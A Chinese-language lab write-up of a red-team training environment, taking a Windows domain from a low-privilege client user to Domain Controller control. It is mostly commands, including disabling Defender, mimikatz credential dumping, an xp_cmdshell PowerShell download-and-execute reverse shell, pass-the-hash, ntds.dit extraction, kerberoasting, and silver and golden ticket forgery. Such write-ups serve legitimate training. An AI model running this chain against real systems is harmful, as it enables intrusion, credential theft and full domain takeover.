前言:
大家好,我是鸿鹄实验室的lengyi,offensive是国外某红队培训时使用的一套环境,被国内的大佬分享给了我,于是便有了此篇文章。
环境信息:
192.168.159.10(offensive-client/win10)
192.168.159.20(offensive-sql-server/windows server 2016)
192.168.159.200(Domain Controller/windows server 2016)
大体拓扑如下:
要求获取域控权限,且只能使用客户机提供的工具以及powershell,已经拥有192.168.159.10的一个用户权限,工具已经放在主机内。
(弱弱的吐槽一句,国外的靶机都是纯英文系统看得难受)
本地提权:
首先查看当前的权限:
PS C:>whoami
PS C:> net localgroup administrators
反正手里也只有一个PowerUp了,那就用它吧
PS C:UsersAlice> powershell.exe -ep bypass
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:UsersAlice> cd .Desktop
PS C:UsersAliceDesktop> cd .tools
PS C:UsersAliceDesktoptools> Import-Module .PowerUp.ps1
PS C:UsersAliceDesktoptools> Invoke-AllChecks -verbose //检查所有路径
得到了下面的结果
以及
可以看出,Powerup列出了可能存在问题的服务,并在AbuseFunction中给了接下来的利用方式
我们发现了空格服务路径,这个是可以进行提权的,有兴趣的可以看我之前的文章(https://lengjibo.github.io/windows%E6%8F%90%E6%9D%83%E6%80%BB%E7%BB%93/)
然后执行下面的操作:
PS C:UsersAliceDesktoptools> Write-ServiceBinary -ServiceName VulnService -UserName "offensivealice" -Password Passw0rd!
ServiceName ServicePath Command
----------- ----------- -------
VulnService service.exe net localgroup Administrators offensivealic...
PS C:UsersAliceDesktoptools> cp .service.exe "C:Program FilesVuln ServiceVulnService.exe"
然后查看服务状态:
PS C:UsersAliceDesktoptools> sc qc VulnService
这个时候我们就需要进行重启系统了…
其实这种提权方法在msf里面也是自带的,在msf中我们可以将服务替换成我们msf的木马,那么当服务重启的时候就会返回我们一个system的shell,而powerup便可以通过添加用户的方法来获取一个管理权限的用户,我这里也就相当于变相的进行了提权(若为域用户一定要在域控制器开启的情况下进行)。
重启之后,便获得了权限
域枚举:
首先关闭windows自带的defender
PS C:Windowssystem32> Set-MpPreference -disablerealtimeMonitoring $true
读取mimikatz进行以下操作,获取到用户密码:
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # sekurlsa::logonpasswords
接下来使用powerview进行域枚举,获取域和域控制器的信息:
PS C:>Get-NetDomain
PS C:>Get-NetDomainController
获取当前在域中的用户:
PS C:>Get-NetUser
PS C:>Get-NetUser | select name
获取当前域中的组信息:
PS C:>Get-NetGroup
PS C:>Get-NetGroup | select name
PS C:>Get-NetGroup *admin* | select name
PS C:>Get-NetGroup -UserName Alice
PS C:>Get-NetGroup "Domain Admins"
获取当前域内计算机的名称:
PS C:>Get-NetComputer
PS C:>Get-NetComputer | select name
然后使用PowerUpSQL脚本去枚举域中的SQL SERVER(事先知道拓扑,美滋滋)信息:
PS C:UsersAliceDesktoptoolsPowerUpSQL> Import-Module .PowerUpSQL.ps1
PS C:UsersAliceDesktoptoolsPowerUpSQL> Get-SQLInstanceDomain | Get-SQLConnectionTest
收集sql的相关信息:
PS C:UsersaliceDesktoptoolsPowerUpSQL>Get-SQLServerInfo -Instance Offensive-SQL1
PS C:UsersaliceDesktoptoolsPowerUpSQL>Invoke-SQLAudit -Instance Offensive-SQL1 -verbose
然后使用powerview去查找域内本地用户可以登录的机器:
PS C:UsersaliceDesktoptools>. .Powerview.ps1
PS C:UsersaliceDesktoptools>Find-LocalAdminAccess -verbose
这是因为没有其他的方式去获取sqlserver的认证,只能靠这种方法,如果可以认证,便可以使用windows认证去登录sqlserver
然后我们发现我们可以去登录SQL SERVER那台主机之后,我们便可以使用HeidiSQL去使用windows auth去连接mssql了
横向移动:
在sqlserver下的各种操作基本上就是xp_cmdshell和sp_OACreate了,当然也有CLR,我们先看一下第一种:
没关系,我们尝试绕过它,执行以下语句
EXEC sp_configure 'show advanced options',1
RECONFIGURE
EXEC sp_configure 'xp_cmdshell',1
RECONFIGURE
EXEC master..xp_cmdshell 'whoami'
然后我们使用powercat接受一个shell回来,里面自带的Invoke-PowerShellTcpOneLine_443就是返回一个shell给我们的clinet这个主机,那么我们便使用hfs搭建一个简易的web服务器,使用powercat监听443端口,然后使用mssql调用xp_cmdshell去调用powershell去下载那个脚本然后返回一个powershell给我们这个客户机
powerup执行:
PS C:>cd C:UsersaliceDesktoptools
PS C:UsersaliceDesktoptools> . .powercat.ps1
PS C:UsersaliceDesktoptools> powercat -l -v -p 443 -t 1000
SQL SERVER执行:
EXEC master..xp_cmdshell 'powershell "iex(New-Object Net.WebClient).DownloadString(''http://192.168.159.10/Invoke-PowerShellTcpOneLine_443.ps1'')"'
然后执行以下操作,关闭widnows defender然后创建一个临时目录,将我们的mimikatz上传上去
PS C:Windowssystem32> Set-MpPreference -disablerealtimeMonitoring $true
PS C:Windowssystem32> cd c:
PS C:> mkdir temp
PS C:> cd temp
PS C:temp> iwr -Uri http://192.168.159.10/mimikatz.exe -OutFile mimikatz.exe -UseBasicParsing
PS C:temp> iwr -Uri http://192.168.159.10/mimidrv.sys -OutFile mimidrv.sys -UseBasicParsing
PS C:temp> iwr -Uri http://192.168.159.10/mimilib.dll -OutFile mimilib.dll -UseBasicParsing
PS C:temp> dir
然后抓取目标的hash
PS C:temp> .mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit
有了目标的hash之后,我们再开启一个powershell,使用mimikatz进行pth攻击,开启一个powershell
sekurlsa::pth /user:dbadmin /domain:offensive.local /ntlm:fc525c9683e8fe067095ba2ddc971889 /run:powershell.exe
至此,offensiveSQL这台机器已经拿下!
直捣域控:
有了offensiveSQL的权限之后,我们开始对域控做一些操作,
因为没有什么好的办法,所以我们能想到的就是使用ntds.dit文件去获取域的hash
然后在SQL这台机器上找到了这个文件,我们使用Invoke-NinjaCopy.ps1将它复制到桌面,并且转存注册表
PS C:Windowssystem32>iwr -Uri http://192.168.159.10/Invoke-NinjaCopy.ps1 -OutFile Invoke-NinjaCopy.ps1 -UseBasicParsing
PS C:Windowssystem32>. .Invoke-NinjaCopy.ps1
PS C:Windowssystem32>Invoke-NinjaCopy -Path C:WindowsNTDSntds.dit -Verbose -LocalDestination 'C:UsersdbadminDesktopntds.dit'
PS C:Windowssystem32>reg save HKLMSYSTEM C:UsersdbadminDesktopSYS
然后将这两个文件转存到我们的客户端:
PS C:>Copy-Item '\dc.offensive.localC$UsersdbadminDesktopntds.dit'-Destination '\Client1.offensive.localC$UsersaliceDesktoptoolsntds.dit'
PS C:>Copy-Item '\dc.offensive.localC$UsersdbadminDesktopSYS' -Destination '\Client1.offensive.localC$UsersaliceDesktoptoolsSYS'
然后使用下面的方法我们便可以得到所有用户的HASH方便我们后面的票据攻击原理请转(https://www.freebuf.com/articles/system/197160.html)
PS C:UsersaliceDesktoptools>Get-BootKey -SystemHivePath 'SYS'
PS C:UsersaliceDesktoptools>$key = Get-BootKey -SystemHivePath 'SYS'
PS C:UsersaliceDesktoptools>Get-ADDBAccount -All -DBPath 'C:UsersaliceDesktoptoolsntds.dit' -BootKey $key
在进行票据之前我们发现有一个kerberoast,我们再来利用一下这个工具
Step 1:使用GetUserSPNs.ps1扫描域中设置了 SPN的用户
PS C:UsersaliceDesktoptoolskerberoastkerberoast-master>. .GetUserSPNs.ps1
Step 2:使用SPN从域中请求服务票证
PS C:UsersaliceDesktoptoolskerberoastkerberoast-master>Add-Type –AssemblyName System.IdentityModel
PS C:UsersaliceDesktoptoolskerberoastkerberoast-master>New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken –ArgumentList 'MSSQLSvc/Offensive-SQL1:1433'
PS C:UsersaliceDesktoptoolskerberoastkerberoast-master>Add-Type –Assembl
Step 3:提取服务票证
PS C:>cd C:UsersaliceDesktoptoolsmimikatz_trunkx64
PS C:UsersaliceDesktoptoolsmimikatz_trunkx64>.mimikatz.exe
mimikatz # kerberos::list /export
Setp4:进行暴力破解
它这里的pass.txt是事先给好的,所以肯定可以跑出来….
破解完之后,我们使用mimikatz传递之前获得的SID、Target host name, Service name,NTLM hash等去创建一个银票
mimikatz # kerberos::golden /sid:S-1-5-21-1187620287-4058297830-2395299116-1103 /domain:offensive.local /target:Offensive-SQL1:1433 /service:MSSQLSvc /rc4:fc525c9683e8fe067095ba2ddc971889 /user:idontexist /id:1103 /pttmimikatz
# misc::cmd
然后
C:UsersAliceDesktoptoolsmimikatz_trunkx64>.mimikatz.exemimikatz
# kerberos::list
我们现在已经获取到了银票..
持久控制:
c:>dir \dc.offensive.localc$
我们现在去访问域控是会被拒绝的:
我们来获取一个金票:
PS C:>cd C:UsersaliceDesktoptoolsmimikatz_trunkx64
PS C:UsersaliceDesktoptoolsmimikatz_trunkx64>.mimikatz.exe
mimikatz # kerberos::golden /sid:S-1-5-21-1187620287-4058297830-2395299116 /domain:offensive.local /rc4:61d83c569b93bfcd4ca2087011361caa /user:idontexist /id:500
mimikatz # kerberos::ptt ticket.kirbi
mimikatz # misc::cmd
mimikatz # kerberos::list
最终获取了域控的权限:
写在后面:
这应该是最后一篇内网方面的文章了,如果红日的第三个上新的话,我还是会继续更新的,域渗透实在是太有魔力了,让我沉迷其中,本文讲解较少,多为操作,因为再加上原理,篇幅实在太长..还望各位师傅见谅,如有错误,还望指出,以免误人子弟。过几天让我们实验室的pwn师傅来安全客更文章啊,啊哈哈哈,期待脸(逃)。